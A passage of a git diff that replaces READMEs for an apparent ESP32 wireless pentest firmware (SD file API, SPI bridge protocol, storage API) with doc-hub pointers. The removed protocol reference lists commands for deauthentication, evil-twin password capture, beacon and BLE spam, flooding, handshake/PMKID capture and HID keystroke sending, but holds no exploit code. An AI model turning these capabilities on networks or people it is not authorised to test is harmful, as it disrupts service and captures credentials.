---- - -#### `sd_file_truncate` -```c -esp_err_t sd_file_truncate(const char *path, size_t size); -``` -Resizes file to specified size. - ---- - -#### `sd_file_clear` -```c -esp_err_t sd_file_clear(const char *path); -``` -Clears all content (makes empty). - ---- - -### File Comparison - -#### `sd_file_compare` -```c -esp_err_t sd_file_compare(const char *path1, const char *path2, bool *are_equal); -``` -Byte-by-byte comparison. - ---- - -### Utilities - -#### `sd_file_get_extension` -```c -esp_err_t sd_file_get_extension(const char *path, char *extension, size_t size); -``` -Extracts file extension (without dot). - ---- - -## Implementation Details - -- Rename/move are atomic, copy is not -- Path buffer in `sd_file_info_t` is 256 bytes -- Not thread-safe - use mutexes for concurrent access +Documentation for this component lives in the project docs hub (single source of truth): -## Usage Example +- [docs/sd_card/p4.md](../../../../docs/sd_card/p4.md) -```c -esp_err_t backup_config(void) { - const char *config = "/sdcard/config/settings.json"; - const char *backup = "/sdcard/backups/settings.json"; - - // Create backup - if (sd_file_copy(config, backup) != ESP_OK) { - return ESP_FAIL; - } - - // Verify backup - bool equal; - sd_file_compare(config, backup, &equal); - - return equal ? ESP_OK : ESP_FAIL; -} -``` \ No newline at end of file +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/spi_bridge/README.md b/firmware_p4/components/Service/spi_bridge/README.md index d046b5430..8646ff9da 100644 --- a/firmware_p4/components/Service/spi_bridge/README.md +++ b/firmware_p4/components/Service/spi_bridge/README.md @@ -1,502 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/spi_bridge/p4.md`](../../../../docs/spi_bridge/p4.md). - # SPI Bridge - P4 Master -This component manages the high-speed communication link between the **ESP32-P4 (Main OS)** and the **ESP32-C5 (Radio Co-processor)**. - -## Architecture -The P4 acts as the **SPI Master**. It is responsible for: -1. Generating the SCLK and managing the CS line. -2. Initiating all command transfers. -3. Handling the **IRQ (Handshake)** signal from the C5 to know when response data is ready. -4. Managing the C5 lifecycle (Reset, Boot mode, and Firmware Updates via UART). - -## Protocol Specification -Every packet follows a 5-byte fixed header: -- `Sync (0xAA)`: Packet synchronization. -- `Type`: `0x01` (Command), `0x02` (Response), `0x03` (Stream). -- `Category`: Subsystem selector (`spi_cat_t`: WiFi `0x01`, BT `0x02`, …). The C5 - routes a command to a dispatcher by this byte alone. -- `Op`: Operation within the category. -- `Length`: Size of the following payload (0-255 bytes). - -`Category` + `Op` together form the packed command identifier (`spi_id_t`), -built via `SPI_CMD(cat, op)`. Use `spi_header_cmd()` / `spi_header_set_cmd()` to -read/write the pair as a single 16-bit value. - -## Command Reference - -Every command's `spi_id_t` packs `Category` (high byte) and `Op` (low byte) via `SPI_CMD(cat, op)`. On the wire those are the 3rd and 4th header bytes; in code use the single 16-bit `SPI_ID_*` constant. - -### System (`0x00`) - -| Command | Op | `spi_id_t` | -|---------|----|------------| -| `SPI_ID_SYSTEM_PING` | `0x01` | `0x0001` | -| `SPI_ID_SYSTEM_STATUS` | `0x02` | `0x0002` | -| `SPI_ID_SYSTEM_REBOOT` | `0x03` | `0x0003` | -| `SPI_ID_SYSTEM_VERSION` | `0x04` | `0x0004` | -| `SPI_ID_SYSTEM_DATA` | `0x05` | `0x0005` | -| `SPI_ID_SYSTEM_STREAM` | `0x06` | `0x0006` | - -### WiFi (`0x01`) - -| Command | Op | `spi_id_t` | -|---------|----|------------| -| `SPI_ID_WIFI_SCAN` | `0x10` | `0x0110` | -| `SPI_ID_WIFI_CONNECT` | `0x11` | `0x0111` | -| `SPI_ID_WIFI_DISCONNECT` | `0x12` | `0x0112` | -| `SPI_ID_WIFI_GET_STA_INFO` | `0x13` | `0x0113` | -| `SPI_ID_WIFI_SET_AP` | `0x14` | `0x0114` | -| `SPI_ID_WIFI_START` | `0x15` | `0x0115` | -| `SPI_ID_WIFI_STOP` | `0x16` | `0x0116` | -| `SPI_ID_WIFI_SAVE_AP_CONFIG` | `0x17` | `0x0117` | -| `SPI_ID_WIFI_SET_ENABLED` | `0x18` | `0x0118` | -| `SPI_ID_WIFI_SET_AP_PASSWORD` | `0x19` | `0x0119` | -| `SPI_ID_WIFI_SET_AP_MAX_CONN` | `0x1A` | `0x011A` | -| `SPI_ID_WIFI_SET_AP_IP` | `0x1B` | `0x011B` | -| `SPI_ID_WIFI_PROMISC_START` | `0x1C` | `0x011C` | -| `SPI_ID_WIFI_PROMISC_STOP` | `0x1D` | `0x011D` | -| `SPI_ID_WIFI_CH_HOP_START` | `0x1E` | `0x011E` | -| `SPI_ID_WIFI_CH_HOP_STOP` | `0x1F` | `0x011F` | -| `SPI_ID_WIFI_APP_SCAN_AP` | `0x20` | `0x0120` | -| `SPI_ID_WIFI_APP_SCAN_CLIENT` | `0x21` | `0x0121` | -| `SPI_ID_WIFI_APP_BEACON_SPAM` | `0x22` | `0x0122` | -| `SPI_ID_WIFI_APP_DEAUTHER` | `0x23` | `0x0123` | -| `SPI_ID_WIFI_APP_FLOOD` | `0x24` | `0x0124` | -| `SPI_ID_WIFI_APP_SNIFFER` | `0x25` | `0x0125` | -| `SPI_ID_WIFI_APP_EVIL_TWIN` | `0x26` | `0x0126` | -| `SPI_ID_WIFI_APP_DEAUTH_DET` | `0x27` | `0x0127` | -| `SPI_ID_WIFI_APP_PROBE_MON` | `0x28` | `0x0128` | -| `SPI_ID_WIFI_APP_SIGNAL_MON` | `0x29` | `0x0129` | -| `SPI_ID_WIFI_SNIFFER_SET_SNAPLEN` | `0x2B` | `0x012B` | -| `SPI_ID_WIFI_SNIFFER_SET_VERBOSE` | `0x2C` | `0x012C` | -| `SPI_ID_WIFI_SNIFFER_SAVE_FLASH` | `0x2D` | `0x012D` | -| `SPI_ID_WIFI_SNIFFER_SAVE_SD` | `0x2E` | `0x012E` | -| `SPI_ID_WIFI_SNIFFER_FREE_BUFFER` | `0x2F` | `0x012F` | -| `SPI_ID_WIFI_SNIFFER_STREAM_SD` | `0x30` | `0x0130` | -| `SPI_ID_WIFI_SNIFFER_CLEAR_PMKID` | `0x31` | `0x0131` | -| `SPI_ID_WIFI_SNIFFER_GET_PMKID_BSSID` | `0x32` | `0x0132` | -| `SPI_ID_WIFI_SNIFFER_CLEAR_HANDSHAKE` | `0x33` | `0x0133` | -| `SPI_ID_WIFI_SNIFFER_GET_HANDSHAKE_BSSID` | `0x34` | `0x0134` | -| `SPI_ID_WIFI_DEAUTH_STATUS` | `0x35` | `0x0135` | -| `SPI_ID_WIFI_DEAUTH_SEND_RAW` | `0x36` | `0x0136` | -| `SPI_ID_WIFI_ASSOC_REQUEST` | `0x37` | `0x0137` | -| `SPI_ID_WIFI_DEAUTH_SEND_FRAME` | `0x38` | `0x0138` | -| `SPI_ID_WIFI_DEAUTH_SEND_BROADCAST` | `0x39` | `0x0139` | -| `SPI_ID_WIFI_TARGET_SCAN_START` | `0x3A` | `0x013A` | -| `SPI_ID_WIFI_TARGET_SCAN_STATUS` | `0x3B` | `0x013B` | -| `SPI_ID_WIFI_TARGET_SAVE_FLASH` | `0x3C` | `0x013C` | -| `SPI_ID_WIFI_TARGET_SAVE_SD` | `0x3D` | `0x013D` | -| `SPI_ID_WIFI_TARGET_FREE` | `0x3E` | `0x013E` | -| `SPI_ID_WIFI_PROBE_SAVE_FLASH` | `0x3F` | `0x013F` | -| `SPI_ID_WIFI_PROBE_SAVE_SD` | `0x40` | `0x0140` | -| `SPI_ID_WIFI_EVIL_TWIN_TEMPLATE` | `0x41` | `0x0141` | -| `SPI_ID_WIFI_EVIL_TWIN_HAS_PASSWORD` | `0x42` | `0x0142` | -| `SPI_ID_WIFI_EVIL_TWIN_GET_PASSWORD` | `0x43` | `0x0143` | -| `SPI_ID_WIFI_EVIL_TWIN_RESET_CAPTURE` | `0x44` | `0x0144` | -| `SPI_ID_WIFI_CLIENT_SAVE_FLASH` | `0x45` | `0x0145` | -| `SPI_ID_WIFI_CLIENT_SAVE_SD` | `0x46` | `0x0146` | -| `SPI_ID_WIFI_AP_SAVE_FLASH` | `0x47` | `0x0147` | -| `SPI_ID_WIFI_AP_SAVE_SD` | `0x48` | `0x0148` | -| `SPI_ID_WIFI_PORT_SCAN_TARGET_RANGE` | `0x49` | `0x0149` | -| `SPI_ID_WIFI_PORT_SCAN_TARGET_LIST` | `0x4A` | `0x014A` | -| `SPI_ID_WIFI_PORT_SCAN_NETWORK` | `0x4B` | `0x014B` | -| `SPI_ID_WIFI_PORT_SCAN_CIDR` | `0x4C` | `0x014C` | -| `SPI_ID_WIFI_PORT_SCAN_STOP` | `0x4D` | `0x014D` | -| `SPI_ID_WIFI_GET_MAC` | `0x4E` | `0x014E` | -| `SPI_ID_WIFI_GET_IP_INFO` | `0x4F` | `0x014F` | -| `SPI_ID_WIFI_EVIL_TWIN_TMPL_BEGIN` | `0xA0` | `0x01A0` | -| `SPI_ID_WIFI_EVIL_TWIN_TMPL_CHUNK` | `0xA1` | `0x01A1` | - -### Bluetooth (`0x02`) - -| Command | Op | `spi_id_t` | -|---------|----|------------| -| `SPI_ID_BT_SCAN` | `0x50` | `0x0250` | -| `SPI_ID_BT_CONNECT` | `0x51` | `0x0251` | -| `SPI_ID_BT_DISCONNECT` | `0x52` | `0x0252` | -| `SPI_ID_BT_GET_INFO` | `0x53` | `0x0253` | -| `SPI_ID_BT_INIT` | `0x54` | `0x0254` | -| `SPI_ID_BT_DEINIT` | `0x55` | `0x0255` | -| `SPI_ID_BT_START` | `0x56` | `0x0256` | -| `SPI_ID_BT_STOP` | `0x57` | `0x0257` | -| `SPI_ID_BT_SET_RANDOM_MAC` | `0x58` | `0x0258` | -| `SPI_ID_BT_START_ADV` | `0x59` | `0x0259` | -| `SPI_ID_BT_STOP_ADV` | `0x5A` | `0x025A` | -| `SPI_ID_BT_SET_MAX_POWER` | `0x5B` | `0x025B` | -| `SPI_ID_BT_TRACKER_START` | `0x5C` | `0x025C` | -| `SPI_ID_BT_TRACKER_STOP` | `0x5D` | `0x025D` | -| `SPI_ID_BT_GET_ADDR_TYPE` | `0x5E` | `0x025E` | -| `SPI_ID_BT_SAVE_ANNOUNCE_CFG` | `0x5F` | `0x025F` | -| `SPI_ID_BT_APP_SCANNER` | `0x60` | `0x0260` | -| `SPI_ID_BT_APP_SNIFFER` | `0x61` | `0x0261` | -| `SPI_ID_BT_APP_SPAM` | `0x62` | `0x0262` | -| `SPI_ID_BT_APP_FLOOD` | `0x63` | `0x0263` | -| `SPI_ID_BT_APP_SKIMMER` | `0x64` | `0x0264` | -| `SPI_ID_BT_APP_TRACKER` | `0x65` | `0x0265` | -| `SPI_ID_BT_APP_GATT_EXP` | `0x66` | `0x0266` | -| `SPI_ID_BT_SPAM_LIST_LOAD` | `0x68` | `0x0268` | -| `SPI_ID_BT_SPAM_LIST_BEGIN` | `0x69` | `0x0269` | -| `SPI_ID_BT_SPAM_LIST_ITEM` | `0x6A` | `0x026A` | -| `SPI_ID_BT_SPAM_LIST_COMMIT` | `0x6B` | `0x026B` | -| `SPI_ID_BT_SCREEN_INIT` | `0x6C` | `0x026C` | -| `SPI_ID_BT_SCREEN_DEINIT` | `0x6D` | `0x026D` | -| `SPI_ID_BT_SCREEN_IS_ACTIVE` | `0x6E` | `0x026E` | -| `SPI_ID_BT_SCREEN_SEND_PARTIAL` | `0x6F` | `0x026F` | -| `SPI_ID_BT_L2CAP_STATUS` | `0x70` | `0x0270` | -| `SPI_ID_BT_HID_INIT` | `0x71` | `0x0271` | -| `SPI_ID_BT_HID_DEINIT` | `0x72` | `0x0272` | -| `SPI_ID_BT_HID_IS_CONNECTED` | `0x73` | `0x0273` | -| `SPI_ID_BT_HID_SEND_KEY` | `0x74` | `0x0274` | - -### LoRa (`0x03`) - -| Command | Op | `spi_id_t` | -|---------|----|------------| -| `SPI_ID_LORA_RX` | `0x80` | `0x0380` | -| `SPI_ID_LORA_TX` | `0x81` | `0x0381` | - -### Meshtastic (`0x04`) - -| Command | Op | `spi_id_t` | -|---------|----|------------| -| `SPI_ID_MESH_BLE_INIT` | `0x90` | `0x0490` | -| `SPI_ID_MESH_BLE_STOP` | `0x91` | `0x0491` | -| `SPI_ID_MESH_WIFI_INIT` | `0x92` | `0x0492` | -| `SPI_ID_MESH_WIFI_STOP` | `0x93` | `0x0493` | -| `SPI_ID_MESH_FROMRADIO_PUSH` | `0x94` | `0x0494` | -| `SPI_ID_MESH_LOG_PUSH` | `0x95` | `0x0495` | -| `SPI_ID_MESH_STATUS` | `0x96` | `0x0496` | -| `SPI_ID_MESH_TORADIO_STREAM` | `0x97` | `0x0497` | - -### MeshCore (`0x05`) - -| Command | Op | `spi_id_t` | -|---------|----|------------| -| `SPI_ID_MCORE_BLE_INIT` | `0x98` | `0x0598` | -| `SPI_ID_MCORE_BLE_STOP` | `0x99` | `0x0599` | -| `SPI_ID_MCORE_TX_PUSH` | `0x9A` | `0x059A` | -| `SPI_ID_MCORE_RX_STREAM` | `0x9B` | `0x059B` | -| `SPI_ID_MCORE_STATUS` | `0x9C` | `0x059C` | - -### Session (`0xFF`) - -| Command | Op | `spi_id_t` | -|---------|----|------------| -| `SPI_ID_SESSION_HEARTBEAT` | `0xF0` | `0xFFF0` | -| `SPI_ID_SESSION_LOST` | `0xF1` | `0xFFF1` | -| `SPI_ID_SESSION_STOP` | `0xF2` | `0xFFF2` | - -## Frame Example - -The 5-byte header maps directly to `spi_header_t`: - -```c -typedef struct { - uint8_t sync; // 0xAA - uint8_t type; // spi_type_t: CMD 0x01 / RESP 0x02 / STREAM 0x03 - uint8_t category; // spi_cat_t - uint8_t op; // operation within the category - uint8_t length; // payload bytes that follow (0-255) -} spi_header_t; -``` - -**Example — WiFi scan** (`SPI_ID_WIFI_SCAN` = `SPI_CMD(SPI_CAT_WIFI, 0x10)` = `0x0110`), no payload: - -``` -P4 -> C5 (command) - AA 01 01 10 00 - ^ ^ ^ ^ ^ - | | | | +-- length = 0 - | | | +----- op = 0x10 - | | +-------- category = 0x01 (WiFi) - | +----------- type = 0x01 (CMD) - +-------------- sync = 0xAA - -C5 -> P4 (response, after raising IRQ) — payload byte 0 is the status - AA 02 01 10 01 00 - ^ ^ ^ ^ ^ ^ - | | | | | +-- status = 0x00 (SPI_STATUS_OK) - | | | | +----- length = 1 - | | | +-------- op = 0x10 - | | +----------- category = 0x01 - | +-------------- type = 0x02 (RESP) - +----------------- sync = 0xAA -``` - -Scan results are then pulled item-by-item through the **Generic Data Pipe** (`SPI_ID_SYSTEM_DATA`) described below. - -## Generic Data Pipe -To keep the bridge simple, we use a "Dumb Pipe" approach for large data sets (like Scan results): -1. **Pull Count**: Call `SPI_ID_SYSTEM_DATA` with index `0xFFFF`. -2. **Pull Item**: Call `SPI_ID_SYSTEM_DATA` with index `0 to N`. -3. **Real-time Stats**: Call `SPI_ID_SYSTEM_DATA` with index `0xEEEE` to get a `sniffer_stats_t` structure. - -## Stream Transport (batched) - -Long-running ops (sniffers, mesh bridge) emit a continuous stream of records. -The P4 drains them by polling `SPI_ID_SYSTEM_STREAM`. To keep throughput high, -the transport **batches many records into one transfer** instead of one record -per round-trip: - -- The C5 buffers records in a ring (depth `SPI_STREAM_QUEUE_LEN = 64`). On a - `SPI_ID_SYSTEM_STREAM` poll it packs as many as fit into a single large frame - of `SPI_STREAM_FRAME_SIZE` (2048 B) and the P4 always clocks that fixed size. -- Stream frame layout (after the 5-byte header, `type = STREAM`): - `[u16 batch_len]` then `batch_len` bytes of records, each - `[u16 op][u8 len][len bytes]`. `batch_len = 0` means "no data" → the P4 backs - off and polls again later. -- The P4 unpacks and dispatches **each record to its `op`'s stream callback**, - exactly as if it had arrived in its own frame — so session/`seq`/backpressure - semantics stay **per record** (see Session Lifecycle). The command/response - path is unaffected and still uses `SPI_FRAME_SIZE`. - -Two related tunables: the C5 signals readiness with a short rising-edge IRQ -pulse (~10 µs — the P4 catches it via a GPIO edge interrupt, so no held level -or millisecond delay is needed), and bursts are absorbed by the 64-deep ring; -when it overflows, records are dropped and counted (never block capture). - -### Stream Example (WiFi sniffer) - -**Producer — C5** (each captured 802.11 frame becomes one record; the session -layer adds the `{session_id, seq}` meta and applies backpressure): -```c -spi_wifi_sniffer_frame_t f = { .rssi = -42, .channel = 6, .len = n, /* data */ }; -session_manager_try_emit(session_id, (const uint8_t *)&f, 3 + n); -``` - -**On the wire** — the P4 polls `SYSTEM_STREAM` and the C5 returns one 2 KB frame -batching the queued records: -``` -P4 -> C5: AA 01 00 06 00 poll: SYSTEM_STREAM (cat 0x00, op 0x06) -C5 -> P4: AA 03 00 00 00 | - ^ header, type=STREAM (cat/op/length unused for the batch) - payload: - 20 00 batch_len = 0x0020 (32 bytes of records) - ── record 1 ─────────────────────── - 25 01 op = 0x0125 (SPI_ID_WIFI_APP_SNIFFER) - 0D rec_len = 13 - 34 12 00 00 01 00 00 00 spi_stream_meta_t { session_id=0x1234, seq=1 } - D6 06 02 AA BB frame: rssi=-42, ch=6, len=2, data=AA BB - ── record 2 (same op, seq=2) ────── - 25 01 0D 34 12 00 00 02 00 00 00 D6 06 02 CC DD - ── remaining bytes up to 2048 = padding, ignored (batch_len bounds it) ── -``` - -**Consumer — P4** (each record is dispatched to the op's callback; the meta is -stripped by the session layer, so the consumer sees only the frame): -```c -// registered via spi_session_start(SPI_ID_WIFI_APP_SNIFFER, …, on_stream, …) -static void on_stream(const uint8_t *payload, uint8_t len) { - const spi_wifi_sniffer_frame_t *f = (const void *)payload; // one captured frame - storage_stream_write(pcap, f->data, f->len); -} -``` -See `wifi_sniffer.c` (both firmwares) for the full reference implementation. - -## Adding a New Command -To add a new feature (e.g., "GPS Get Location"): - -1. **Protocol**: Add `SPI_ID_GPS_GET` to `spi_protocol.h`. -2. **C5 Dispatcher**: - - Open `wifi_dispatcher.c` (or a new `gps_dispatcher.c`). - - Add the case for `SPI_ID_GPS_GET`. - - Call the actual hardware driver. - - If it returns a list, call `spi_bridge_provide_results(pointer, count, size)`. -3. **P4 Wrapper**: - - Create a wrapper in `Applications` or `Service`. - - Use `spi_bridge_send_command(SPI_ID_GPS_GET, ...)` to trigger the action. - - Use the generic `SPI_ID_SYSTEM_DATA` to pull results if necessary. - -## Session Lifecycle (Long-Running Operations) - -For operations that run for an extended period (sniffers, monitors, attacks -that emit a stream of events), the basic request-response model is unsafe: -if the master dies or stops listening, the slave keeps running indefinitely -and sends data into the void. The session protocol fixes this with three -mechanisms working together: - -### 1. Session ID -Every long-running operation is tagged with a 32-bit `session_id` chosen -randomly by the C5 when the operation starts. Both sides track the active -session; stream packets carry the id so stale data can be discarded after -a restart. - -### 2. Heartbeat (anti-zombie) -The P4 sends `SPI_ID_SESSION_HEARTBEAT { session_id, last_acked_seq }` -every **2 seconds** while a session is active. The C5 has a watchdog task -that runs every second and kills any session whose last heartbeat is older -than **5 seconds**. When killed, the C5 emits `SPI_ID_SESSION_LOST` as a -stream so the master can react (e.g., restart, show error UI). - -If the master detects 3 consecutive heartbeat failures, it assumes the -session is gone and fires its local `on_lost` callback. - -### 3. Backpressure window -Stream packets carry `{ session_id, seq }`. The master accumulates -`last_acked_seq` and reports it via heartbeat. The C5 refuses to emit if -`seq - last_acked_seq >= SPI_SESSION_WINDOW (64)` — protects against -buffer overflow when the slave produces faster than the master drains. -Drops are counted and logged. - -### Wire shapes - -| Direction | When | Packet | -|-----------|------|--------| -| P4 → C5 | START | `op_id` + op-specific params | -| C5 → P4 | START reply | status byte + `spi_session_resp_t { session_id }` | -| P4 → C5 | every 2s | `SPI_ID_SESSION_HEARTBEAT` + `spi_heartbeat_req_t` | -| C5 → P4 | heartbeat reply | status + `spi_heartbeat_resp_t { alive }` | -| C5 → P4 | data | batched STREAM frame (see "Stream Transport"); each record = `op` + `spi_stream_meta_t { session_id, seq }` + payload | -| P4 → C5 | STOP | `SPI_ID_SESSION_STOP` + `spi_session_stop_req_t { session_id }` | -| C5 → P4 | watchdog kill | `SPI_ID_SESSION_LOST` STREAM + `spi_session_lost_t { session_id, cmd }` | - -### Master API - -```c -// Start a long-running operation. Spawns heartbeat task internally. -uint32_t spi_session_start(spi_id_t op_id, - const uint8_t *params, uint8_t params_len, - spi_session_stream_cb_t on_stream, // peeled meta - spi_session_lost_cb_t on_lost); - -// Clean teardown. Kills heartbeat, sends STOP. -esp_err_t spi_session_stop(uint32_t session_id); -``` - -Returns `SPI_SESSION_INVALID_ID` (0) on START failure. The `on_stream` -callback receives the **operation payload only** — the meta header is -stripped and ack tracking is invisible to the consumer. - -### Slave API (C5) - -```c -// Open a session for the op_id. Closes any prior session first. -uint32_t session_manager_start(spi_id_t op_id, session_kill_cb_t kill_cb); - -// Emit a stream packet (prefixes meta, applies backpressure). -esp_err_t session_manager_try_emit(uint32_t session_id, - const uint8_t *data, uint8_t len); -``` - -The op implementation stores the returned `session_id` and uses it for -every emit. The `kill_cb` is invoked by the watchdog if heartbeats stop — -the op should call its own `_stop()` from there. - -### Migrating a New Operation (recipe) - -There are two patterns depending on whether the op emits streams. Both -are used in the codebase — see `wifi_sniffer` (streaming) and -`wifi_deauther` (non-streaming) as references. - -#### Pattern A — Non-streaming op (deauther, flood, evil_twin, …) - -The op runs in background but does NOT emit packets to the master. The -master polls for results via `SPI_ID_SYSTEM_DATA` if it needs data. - -**C5 side (only the dispatcher changes — op .c/.h untouched):** -```c -// In wifi_dispatcher.c (or bt_dispatcher.c): -static void killed_my_op(spi_id_t id) { (void)id; my_op_stop(); } - -case SPI_ID_MY_OP: - if (!my_op_start(...)) return SPI_STATUS_ERROR; - return open_session(SPI_ID_MY_OP, killed_my_op, - out_resp_payload, out_resp_len, my_op_stop); -``` - -**P4 side (wrapper):** -```c -static uint32_t s_session_id = SPI_SESSION_INVALID_ID; - -bool my_op_start(...) { - s_session_id = spi_session_start(SPI_ID_MY_OP, params, len, NULL, NULL); - return s_session_id != SPI_SESSION_INVALID_ID; -} - -void my_op_stop(void) { - if (s_session_id != SPI_SESSION_INVALID_ID) { - spi_session_stop(s_session_id); - s_session_id = SPI_SESSION_INVALID_ID; - } -} -``` - -#### Pattern B — Streaming op (sniffer, ble_sniffer, …) - -The op emits a continuous stream of packets to the master. - -**C5 side:** -1. Add `static uint32_t s_session_id = SPI_SESSION_INVALID_ID;` to the - op's `.c`. -2. Add public `_bind_session(uint32_t)` setter and - `_session_killed(spi_id_t)` kill callback (the latter calls `_stop()`). -3. Replace `spi_bridge_stream_push(SPI_ID_OP, data, len)` with - `session_manager_try_emit(s_session_id, data, len)`. -4. In the dispatcher, replace the START handler with: call - `op_start(...)`, then `session_manager_start(SPI_ID_OP, op_session_killed)`, - then `op_bind_session(sid)`, then return - `spi_session_resp_t { sid }` as response payload. - -**P4 side:** -1. Replace `spi_bridge_send_command(SPI_ID_OP, …)` + - `spi_bridge_register_stream_cb(SPI_ID_OP, raw_cb)` with a single - `spi_session_start(SPI_ID_OP, params, …, on_stream, on_lost)`. -2. Store the returned `session_id`. -3. Change STOP to `spi_session_stop(session_id)`. -4. The `on_stream` callback signature is - `void(const uint8_t *payload, uint8_t len)` — the meta header is - already stripped. - -### Tunables -Defined in `session_manager.c` (slave) and `spi_session.c` (master): -- `SESSION_TIMEOUT_MS` = 5000 — slave watchdog timeout -- `WATCHDOG_PERIOD_MS` = 1000 — slave watchdog tick -- `HEARTBEAT_INTERVAL_MS` = 2000 — master ping period -- `HEARTBEAT_FAIL_LIMIT` = 3 — master fails before declaring lost -- `SPI_SESSION_WINDOW` = 64 — backpressure window (in `spi_protocol.h`) - -### Migrated operations - -All long-running ops now use the session lifecycle. Each one: -- Returns `spi_session_resp_t { session_id }` on START. -- Has a kill_cb registered with the session manager that calls its `_stop()`. -- Is closed by the master via `SPI_ID_SESSION_STOP { session_id }` (sent - internally by `spi_session_stop`). -- Is auto-killed by the C5 watchdog if the master stops sending heartbeats - for 5s (master crash, screen freeze, etc.). - -| Op | C5 module | P4 wrapper | Streams? | -|----|-----------|-----------|----------| -| `WIFI_APP_SNIFFER` | wifi_sniffer.c | wifi_sniffer.c | ✓ stream | -| `BT_APP_SNIFFER` | ble_sniffer.c | bluetooth_service.c | ✓ stream | -| `WIFI_APP_DEAUTHER` | wifi_deauther.c | wifi_deauther.c | – | -| `WIFI_APP_FLOOD` | wifi_flood.c | wifi_flood.c | – | -| `WIFI_APP_EVIL_TWIN` | evil_twin.c | evil_twin.c | – | -| `WIFI_APP_BEACON_SPAM` | beacon_spam.c | beacon_spam.c | – | -| `WIFI_APP_DEAUTH_DET` | deauther_detector.c | deauther_detector.c | – | -| `WIFI_APP_PROBE_MON` | probe_monitor.c | probe_monitor.c | – | -| `WIFI_APP_SIGNAL_MON` | signal_monitor.c | signal_monitor.c | – | -| `BT_APP_FLOOD` | ble_connect_flood.c | ble_connect_flood.c | – | -| `BT_APP_SKIMMER` | skimmer_detector.c | skimmer_detector.c | – | -| `BT_APP_TRACKER` | tracker_detector.c | tracker_detector.c | – | -| `BT_APP_SPAM` | (handler pending) | canned_spam.c | – | -| `BT_APP_FLOOD` (L2CAP variant) | ble_connect_flood.c | ble_l2cap_flood.c | – | +Documentation for this component lives in the project docs hub (single source of truth): -The legacy `SPI_ID_WIFI_APP_ATTACK_STOP` and `SPI_ID_BT_APP_STOP` shotgun -commands have been removed entirely. Every op now stops via its own -session via `SPI_ID_SESSION_STOP { session_id }`. +- [docs/spi_bridge/p4.md](../../../../docs/spi_bridge/p4.md) -## Hardware Hookup -| Signal | P4 Pin | C5 Pin | -|--------|--------|--------| -| SCLK | 20 | 6 | -| MOSI | 21 | 7 | -| MISO | 22 | 2 | -| CS | 23 | 10 | -| IRQ | 2 | 3 | -| RESET | 48 | EN | -| BOOT | 33 | IO0 | -| UART TX| 46 | RX | -| UART RX| 47 | TX | +This file is only a pointer: edit the docs there to keep things from drifting. diff --git a/firmware_p4/components/Service/storage_api/README.md b/firmware_p4/components/Service/storage_api/README.md index a2518c2a6..656ffb3f8 100644 --- a/firmware_p4/components/Service/storage_api/README.md +++ b/firmware_p4/components/Service/storage_api/README.md @@ -1,485 +1,7 @@ -> 📚 Canonical/aggregated copy in the project docs hub: [`docs/storage_api/p4.md`](../../../../docs/storage_api/p4.md). - # Storage API -The **Storage API** provides a unified, backend-agnostic interface for file system operations in the Highboy project. It abstracts the underlying storage mechanism (LittleFS, SD Card, etc.), allowing developers to perform file and directory operations using a consistent set of functions without worrying about low-level details or mount points. - -## Features - -- **Unified Interface**: Same API for internal flash (LittleFS) and external SD cards. -- **Backend Abstraction**: Uses VFS layer underneath, works with any configured backend. -- **Automatic Path Resolution**: Automatically handles mount points - use relative paths. -- **Robustness**: Includes safety checks, recursive directory creation, and error handling. -- **High-Level Helpers**: Easy reading/writing of strings, lines, formatted text, and CSV data. - ---- - -## Architecture - -``` -Application Code - ↓ - Storage API ← You are here (recommended layer) - ↓ - VFS Core ← Backend abstraction - ↓ - SD Card / LittleFS / SPIFFS -``` - -**Dependencies:** -- Requires `vfs_core` to be initialized -- Backend selection is done in `vfs_config.h` - ---- - -## Initialization - -Before performing any operations, the storage system must be initialized. - -```c -#include "storage_init.h" - -// Initialize the storage system -// This calls vfs_init_auto() internally -esp_err_t ret = storage_init(); -if (ret != ESP_OK) { - // Handle error -} - -// Check if mounted -if (storage_is_mounted()) { - // Ready to use -} - -// Deinitialize when done (rarely needed for main application) -storage_deinit(); -``` - -### Default Directory Structure - -On first boot, `tos_first_boot_setup()` creates the full directory tree on the SD card: - -``` -/ -├── config/ - Modular .conf files (screen, wifi, ble, lora, system) -├── nfc/assets/ - NFC card data + protocol databases -├── rfid/assets/ - RFID key data + protocol databases -├── subghz/assets/ - Sub-GHz captures + frequency lists -├── ir/assets/ - IR remote files + universal remotes DB -├── wifi/ -│ ├── assets/ - OUI DB, wordlists -│ ├── loot/ - handshakes/, pcaps/, deauth_logs/ -│ └── captive_portal/templates/ -├── ble/ -│ ├── assets/ - Company ID DB -│ └── loot/ - Scan results -├── lora/ -│ ├── assets/ - Frequency plans -│ ├── loot/ - Device scans -│ └── messages/ - LoRa messages -├── badusb/assets/ - DuckyScript payloads + keyboard layouts -├── themes/ - Custom themes (*/theme.conf) -├── ringtones/ - Custom sounds -├── apps/ - External apps (.tap) -├── apps_data/ - App persistence -├── scripts/ - User scripts -├── logs/ - System logs -├── backup/ - Backups -├── cache/ - Temporary cache -└── update/ - Firmware update via SD -``` - -All paths are defined in `tos_storage_paths.h` and accessed via `TOS_PATH_*` macros: - -```c -#include "tos_storage_paths.h" - -// Macros automatically include VFS_MOUNT_POINT -storage_write_string(TOS_PATH_CONFIG_SCREEN, json_data); -storage_append_formatted(TOS_PATH_LOGS "/system.log", "[%lu] Event\n", timestamp); -storage_file_copy(TOS_PATH_WIFI_LOOT_HS "/capture.hccapx", TOS_PATH_BACKUP "/capture.hccapx"); -``` - ---- - -## File Operations - -Header: `storage_impl.h` - -### Basic Management - -| Function | Description | -|----------|-------------| -| `bool storage_file_exists(const char *path)` | Checks if a file exists. | -| `esp_err_t storage_file_delete(const char *path)` | Deletes a file. | -| `esp_err_t storage_file_rename(const char *old, const char *new)` | Renames or moves a file. | -| `esp_err_t storage_file_copy(const char *src, const char *dst)` | Copies a file. | -| `esp_err_t storage_file_move(const char *src, const char *dst)` | Moves a file (same as rename). | -| `esp_err_t storage_file_clear(const char *path)` | Clears file content (truncates to 0). | -| `esp_err_t storage_file_truncate(const char *path, size_t size)` | Truncates file to specified size. | -| `esp_err_t storage_file_compare(const char *p1, const char *p2, bool *equal)` | Compares two files for equality. | - -### Information - -```c -// File information structure -typedef struct { - char path[256]; // Full path to file - size_t size; // File size in bytes - time_t modified_time; // Last modification time (Unix timestamp) - time_t created_time; // Creation time (Unix timestamp) - bool is_directory; // True if this is a directory - bool is_hidden; // True if hidden file - bool is_readonly; // True if read-only -} 